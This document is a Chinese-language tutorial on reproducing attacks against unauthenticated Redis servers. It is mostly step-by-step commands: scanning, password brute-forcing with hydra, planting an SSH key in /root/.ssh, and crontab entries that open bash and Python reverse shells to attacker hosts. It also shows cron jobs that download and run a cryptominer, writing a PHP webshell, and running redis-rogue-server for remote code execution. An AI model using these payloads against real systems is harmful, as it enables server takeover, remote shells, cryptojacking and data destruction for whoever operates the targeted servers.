Redis的一些漏洞复现利用

× 文章目录
  1. 1. 0x00 Redis
  2. 2. 0x01 未授权访问漏洞
    1. 2.1. 1 获取主机端口开放信息
    2. 2.2. 2 Redis未授权访问获取敏感信息
  3. 3. 0x02 利用hydra暴力破解redis的密码
  4. 4. 0x03 写ssh-keygen公钥然后使用私钥登陆
  5. 5. 0x04 利用计划任务执行命令反弹shell
  6. 6. 0x05 在web目录下写入webshell
  7. 7. 0x06 利用redis执行命令
  8. 8. 0x07 Redis 基于主从复制的RCE 复现
    1. 8.1. 影响范围
    2. 8.2. 通过主从复制getshell
  9. 9. 0x09 其他

0x00 Redis

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

0x01 未授权访问漏洞

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权’访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

1 获取主机端口开放信息

1
2
nmap -A -p 6379 --script=redis-info 10.240.210.110
-A 同时打开操作系统指纹和版本检测,等同于-O -sV

2 Redis未授权访问获取敏感信息

Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

1
2
3
4
5
6
7
8
redis-cli -h 10.240.210.110
info # 可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
keys *
get key # 可以查看key和对应的值
flushall # 删除所有数据
del key # 删除键为key的数据
CONFIG GET dir # 获取redis数据目录
CONFIG GET dbfilename # 获取rdb文件名 !再修改前先获取,恢复需要

0x02 利用hydra暴力破解redis的密码

如果redis设置了密码,且密码轻度低,可通过暴力破解获取密码

1
hydra  -P 500-worst-passwords.txt redis://10.240.210.110

0x03 写ssh-keygen公钥然后使用私钥登陆

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓存文件authorized.keys,把缓存的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生成一个授权的key。

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
  1. 首先本地生成key

    1
    ssh-keygen -t rsa
  2. redis 执行命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10.240.210.110:6379> config set dir /root/.ssh/
    OK
    10.240.210.110:6379> config set dbfilename authorized_keys
    OK
    10.240.210.110:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCef7YHGr3apU1h+ay+u4ytHeKuSbrgSl/l0D5p5oIZ/tMNtudy+voXzk16MTxaPo0YnwcnBAbIou8toDV2dec01eq6YnRgwASDwQQX5pAzsHA1yhktW46LWQ+4l3RctqYtBnL4azm+3gO49VrcTZbvTNDlsRAXLIcCPvQhNXY+X/8RmNcUMoReBt+uKXApiUOWMp5vADyMnBAmVN2/5QEk7Kbiw0Sd6Ma0GRZ4gMmXinCeMz1jU540DxM9Zqkkjk13sR/A0n7u7wIDyiUlsiNKU09yphMLedjXEcyNIwbFoTAHixxbj6I2CVlSj4AawcaMWRkLd4SA7yvM3S7cWhB [email protected]
    \n\n\n" # 使用\n\n换行,避免和redis里面其他缓存数据混合
    OK
    10.240.210.110:6379> save
    OK
  3. save保存后可以直接利用私钥登陆ssh

    1
    ssh -i id_rsa [email protected]

0x04 利用计划任务执行命令反弹shell

原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。

在redis以root权限运行时可以写crontab来执行命令反弹shell

  1. 现在自己服务器上监听一个端口

    1
    nc -lvvp 50000
  2. 连接redis,写入反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    10.240.210.110:6379> set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.240.210.111/50000 0>&1\n\n"
    OK
    10.240.210.110:6379> config set dir /var/spool/cron/
    OK
    10.240.210.110:6379> config set dbfilename root
    OK
    10.240.210.110:6379> save
    OK

python 反弹shell

1
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'

  1. 1分钟之后服务器接收到反弹的shell

其他比如写入挖矿程序原理和这个是一样的,通过计划任务,到指定网站下载挖矿木马和shell脚本

1
2
3
4
5
6
7
8
9
10
11
vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
if [ ! -f "/tmp/watch-smartd" ];
then
wget http://10.240.210.111/watch/watch-smartd -O /tmp/watch-smartd
else
chmod +x /tmp/watch-smartd
fi
exit 0

连接redis,写入计划任务

1
2
3
4
5
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n*/5 * * * * curl http://10.240.210.111/watch/1.sh | sh\n\n\n"
set xxxx "\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save

1分钟后,在centos的/tmp目录下可以看到挖矿木马watch-smartd,并且具有x权限,使用top命令,可以看到挖矿木马已经执行,占用大量的cpu

0x05 在web目录下写入webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,用菜刀连接可达到控制服务器的目的。

1
2
3
4
5
6
7
8
10.240.210.110:6379> config set dir /var/www/html/
OK
10.240.210.110:6379> config set dbfilename shell.php
OK
10.240.210.110:6379> set x "<?php phpinfo();?>"
OK
10.240.210.110:6379> save
OK

0x06 利用redis执行命令

redis < 2.6 内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

1
2
3
4
vim  hello.lua

local msg = "hello,hack!"
return msg

在客户端连接redis服务器并执行hello.lua

1
redis-cli eval "$(cat hello.lua)" 0 -h 10.240.210.110

0x07 Redis 基于主从复制的RCE 复现

前面几种通过未授权的redis写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了

但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

影响范围

Redis 4.x/5.x

通过主从复制getshell

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

通过编写恶意so文件,执行命令

https://github.com/Dliv3/redis-rogue-server

1
python3 redis-rogue-server.py --rhost 10.240.210.110 --rport 6379 --lhost 10.240.210.111 --lport 50000

0x09 其他